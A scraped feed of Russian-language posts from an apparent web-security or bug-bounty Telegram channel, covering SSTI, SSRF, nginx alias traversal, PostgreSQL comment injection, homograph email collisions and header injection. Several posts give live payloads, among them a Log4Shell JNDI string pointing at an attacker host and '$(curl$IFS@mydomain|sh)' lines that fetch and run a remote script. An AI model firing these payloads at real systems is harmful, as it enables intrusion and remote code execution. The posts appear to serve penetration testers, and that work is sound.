В реальной практике существует несколько кейсов, с которыми можно столкнуться при повышении от AFW к RCE в веб-приложениях. Их можно обобщенно разделить на следующие категории:
В зависимости от разрешений, применяемых к целевой директории и целевому приложению, последствия могут варьироваться от DoS до вмешательства в логику приложения с целью обхода потенциально уязвимых функций.
Тактики для достижения RCE через AFW:
— Конфигурационные файлы (
.htaccess, .config, web.config, httpd.conf)— Исходники, доступные для выполнения (
.php, .jsp)— Временные/сессионные файлы, файлы с секретами
— Cron, bash-скрипты (
.bashrc, .bash_profile)— Файлы
authorized_keys и authorized_keys2 для получения доступа через SSH👉 Еще один интересный кейс
Предположим, что уязвимость позволяет загружать и изменять файлы через функцию экспорта в PDF.
Приложение работает на uWSGI, который поддерживает различные способы конфигурации, включая загрузку конфигов через обычные
.ini файлы. uWSGI поддерживает «магические» переменные (
@exec://), которые позволяют выполнять произвольные команды.При включенной опции
py-auto-reload перезагрузка конфигурации может быть вызвана изменением Python-файлов, что дает шанс выполнить команду.
uwsgi --ini payload.pdf
/app/console/uwsgi-sockets.ini.py файлыPlease open Telegram to view this post
VIEW IN TELEGRAM
👍5🔥3
Что отличает опытного багхантера от новичка? Возможность наткнуться на что-то с низким импактом и раскрутить до более серьезной проблемы💡
Web cache deception — в помощь!
Web cache deception — в помощь!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12❤3👍3
Это далеко не все возможные техники, но именно они чаще всего приводят к результату на практике:
1️⃣ Blind XSS через заголовки: приложения могут логировать ваши данные различными способами, поэтому проверяйте XSS-пэйлоад в HTTP-заголовках (
X-Forwarded-For, Referrer, User-Agent и других)2️⃣ Устаревшие API:
/api/v2 → /api/v1, /api/v2 → /api/, api-v2.example.com → api-v1.example.com или api.example.com3️⃣ SSRF: заменяйте любой URI в запросах на контролируемый вами ресурс через Proxy Interceptor Match & Replace Rule и ждите входящие соединения
4️⃣ Поиск эндпоинтов: используйте GitHub, Google/Yandex дорки, анализируйте JavaScript, Swagger API или другую документацию
5️⃣ CSRF: удалите или замените anti-CSRF токен, меняйте Content-Type и метод запроса
6️⃣ Эксплуатация JWT: ищите слабые алгоритмы подписи, пробуйте манипулировать с токенами
7️⃣ Обход 401/403: попробуйте получить доступ ко вложенному пути (
/admin 401 → /admin/system-resources 200), добавьте спецсимволы или измените методы запроса8️⃣ Неправильная настройка CORS: проверьте правильность настроек CORS и убедитесь, что API позволяет отправлять запросы из любого источника с использованием учётных данных
9️⃣ Тестирование race conditions: проверяйте так называемые high-value транзакции — загрузка файлов, размещение заказов, платежи, переводы
1️⃣0️⃣ XXE: измените Content-Type с
application/json на application/xml и проверьте на наличие XXE1️⃣1️⃣ NoSQL инъекция: манипулируйте параметрами и добавляйте MongoDB (или любой другой NoSQL БД) пэйлоад для обхода ограничений
1️⃣2️⃣ Обход загрузки файлов: пробуйте загрузить файлы с нестандартными расширениями или без них, используйте известные методы обхода (null byte, magic byte и другие)
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11🔥3
Это далеко не все возможные методы обхода ограничений, но даже такие простые и зачастую недооцененные техники могут быть весьма эффективными.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14❤4🤔2
В DevTools есть функция
debug(), которая ставит breakpoint каждый раз, когда вызывается переданный в нее аргумент.Это работает даже для встроенных методов — больше не нужно оборачивать их в прокси.
debug(DOMParser.prototype.parseFromString)
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11👍3🔥3
Когда веб-приложение обрабатывает пользовательский ввод как часть шаблона, можно использовать встроенные функции шаблонизатора для отображения пользовательских данных, доступа к секретам, чтения локальных файлов и даже удаленного выполнения кода.
Но перед этим важно идентифицировать потенциальную уязвимость SSTI. Один из способов — преднамеренно вызвать ошибку с использованием различных спецсимволов:
{
}
$
#
@
%)
"
'
|
{{
}}
${
<%
<%=
%>Как только мы подтвердим точку инъекции, переходим к следующему этапу — отправке различных пэйлоадов для инъекций в шаблон и наблюдению за тем, какие из них были обработаны.
Этот этап критичен, так как он поможет определить используемый движок шаблонов и создать эффективный пэйлоад для эксплуатации.
Все движки шаблонов используют различный синтаксис, но некоторые элементы могут быть схожи. Несколько часто используемых движков шаблонов рассмотрено в недавнем гайде от Intigriti:
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍2
Задумывались, как лучше находить скрытые GET-параметры или отлавливать DOM XSS? Вместо того чтобы тратить время на брутфорс, попробуйте расширение Eval Villain!
⚡️ Что умеет?
🛠 Как помогает?
URLSearchParams.getPlease open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9❤3👍3🤡1
Blind SSRF в облачных окружениях часто упирается в то, что приложение не возвращает полный ответ — а значит, забываем про доступ к метаданным для получения учетных данных.
Exception: Invalid JSON). Если увеличить число до ~30, появляется другая ошибка — NetworkException.При эксплуатации SSRF путем указания URL-адреса, содержащего указанную логику, приложение отвечает полной цепочкой редиректов HTTP и нужным ответом.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7❤3
Даже если приложение безопасно обрабатывает SQL-запросы и предпринимаются меры для защиты от SQL-инъекций, использование уязвимой сторонней библиотеки всё равно может свести защиту на нет.
Чаще всего всё ломается на строковых параметрах — если они плохо экранируются, можно сломать синтаксис запроса. Но что если сломать запрос можно не только строками? Например — комментариями.
MySQL требует пробел после
--, чтобы строка была интерпретирована как комментарий. А вот PostgreSQL — нет. И тут всё зависит от режима работы:Но многие клиенты PostgreSQL по умолчанию работают в простом режиме. А иногда расширенный вообще отключён — как, например, в старом
PgBouncer или в некоторых конфигах Datadog.В простом режиме все зависит от того, как библиотека вставит параметры. Например,
PgJDBC при запросе SELECT 1-? и значении параметра -1 сгенерирует:SELECT 1--1
PostgreSQL воспримет
-- как комментарий и просто проигнорирует 1. Такая же история — в pg-promise, pgx, pg, pgdriver.Но можно зайти ещё дальше. Если параметр — многострочная строка, можно внедрить свой код. Комментарий завершится на символе перевода строки, и остальная часть кода будет исполнена. Это даёт возможность внедрить произвольный SQL-код, если вы контролируете параметры.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4🔥4👍3
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8❤6
Одна из интересных техник, на которую стоит обратить внимание при поиске багов в JS-коде — это делегирование событий. Вместо того чтобы вешать обработчик на каждый элемент, его вешают на
document и обрабатывают клики через event.target.Если вы можете внедрить элемент:
<a class="btn" href="https://evil.com">Click me</a>
и приложение уже слушает
.btn на document — ваш элемент тоже будет обработан, как «родной».🔍 Ищите такие обработчики, проверяйте селекторы и пробуйте инжектить элементы, которые их триггерят.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5
HTTP-заголовки вроде
X-Request-ID, X-Correlation-ID или x-trace-id нужны для трассировки запросов, но часто попадают в CI/CD, логи, мониторинг и даже в shell-команды. А значит — расширяют поверхность атаки.id в ответе (x-transaction-id, x-corellation-id, access-control-*).x-request-id: ' " % & > [ $
💥 Примеры атак
🧵 Header Injection
x-request-id: 1%0d%0ax-account:456 → внедрение нового заголовка☕️ Java header split
x-request-id: 1%c4%8d%c4%8anew-header: f00 → \u010d может стать \n → новый заголовок💻 Command Injection
x-request-id: $(id) → прямое выполнение в shell-контексте🧨 Log4Shell
x-request-id: ${jndi:rmi://x${sys:java.version}.attacker/a} — да, оно до сих пор встречается 😳🧬 JSON Injection
x-request-id: 1"}. "payload":{"account":"456","foo":" → если заголовок попал в JSON — можно ломать структуру🕵️♂️ Оптимизация OOB/Blind RCE
При выборе пэйлода для OOB/Blind-атаки важно учитывать, что он может попасть в разные контексты. Поэтому — минимум спецсимволов, чтобы не сломать формат. Что важно учитывать:
${IFS} для пробелов в shell могут блочить, но $IFS — нет.request-id).curl на целевом сервере — это значит, что curl’у можно отдать bash-скрипт со своего сервера.Пример из практики:
'`curl$IFS@mydomain|sh`'$(curl$IFS@mydomain|sh)
Please open Telegram to view this post
VIEW IN TELEGRAM
⚡11❤7🔥6
😎 Поиск SSTI в лайт режиме
Tplmap + GAU = SSTI на автопилоте. Просто дай ссылку — он сам найдёт, где шаблон не закрыли.
🤌 Что делаем:
➡️
➡️
На примере tplmap нашёл уязвимость в
Инструмент умеет находить и эксплуатировать SSTI в популярных шаблонизаторах — вплоть до доступа к файловой системе и выполнению команд на сервере.
⚠️ Проект уже не поддерживается, но логика и подход по-прежнему актуальны. Отличная отправная точка, если хочешь собрать свой инструмент для автоматизации SSTI.
Tplmap + GAU = SSTI на автопилоте. Просто дай ссылку — он сам найдёт, где шаблон не закрыли.
gau example.com — собираем эндпоинтыtplmap.py -u {url} — проверяем на SSTIНа примере tplmap нашёл уязвимость в
_transaction_id, определил движок Jinja2 и успешно заинжектился через {{*}}. Контекст — текст, техника — render, ОС — Linux. Всё по красоте.Инструмент умеет находить и эксплуатировать SSTI в популярных шаблонизаторах — вплоть до доступа к файловой системе и выполнению команд на сервере.
⚠️ Проект уже не поддерживается, но логика и подход по-прежнему актуальны. Отличная отправная точка, если хочешь собрать свой инструмент для автоматизации SSTI.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10❤2👍2🤔1
Reverse-прокси — серверы поверх веб-приложений, которые маршрутизируют трафик, управляют заголовками и т. д.
Файл
/etc/nginx/nginx.conf содержит глобальные настройки и строку для подключения всех конфигов из /etc/nginx/conf.d/.http {
...
include /etc/nginx/conf.d/*.conf;
}Эти файлы находятся в контексте
http {}, поэтому их не нужно открывать заново. Часто здесь добавляют дополнительные опции для контекста http, а также определения server {} для каждого приложения.Одна из распространенных ошибок, которая может привести к уязвимости, — алиас со слешом в конце. Это происходит, когда выполняются два условия:
alias или proxy_pass содержит слэш в конце☝️ Пример выше показывает эту багу дважды. Проблема в том, что
location /static будет соответствовать любому пути, начинающемуся с /static, включая /staticANYTHING или /static../anything. После этого Nginx удаляет этот префикс и продолжает с оставшимся путем. Теперь это может быть
../anything, и при добавлении к static/ или v1/ может привести к переходу на один уровень выше:GET /static../index.php HTTP/1.1
В итоге получаем путь
/app/static/../index.php, который может раскрыть чувствительные исходники в /app/index.php. proxy_pass — его можно использовать для доступа к непредназначенной директории на бэкенде, используемой для отладки, других версий или даже другого приложения.Please open Telegram to view this post
VIEW IN TELEGRAM
👍6❤4
Гомографическая атака (IDN Homograph Attack) использует визуально схожие символы из разных алфавитов, чтобы подменить идентификаторы пользователей — чаще всего email-адреса.
Суть проста: уязвимая система может считать admin@example.com и аdmin@example.com (кириллическая «а» вместо латинской) одним и тем же адресом, а мы используем это, чтобы обойти регистрацию, сброс пароля и даже 2FA.
Нам потребуются Burp Suite, Burp Collaborator и генератор Punycode.
security@gmail.com.bcrkly6yl8ke552nzjt7jtu52w8nwdk2.oastify.com
Проверяем, что почта пришла, логинимся и выходим.
Через Burp перехватываем POST-запрос регистрации. Заменяем
a на à или кириллическую а (в зависимости от цели):security@gmàil.com.bcrkly6yl8ke552nzjt7jtu52w8nwdk2.oastify.com
🎯 Если сервер отвечает:
Email already exists — значит, произошла коллизия (он считает адрес одинаковым).Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥22🤯7❤4👎2😁2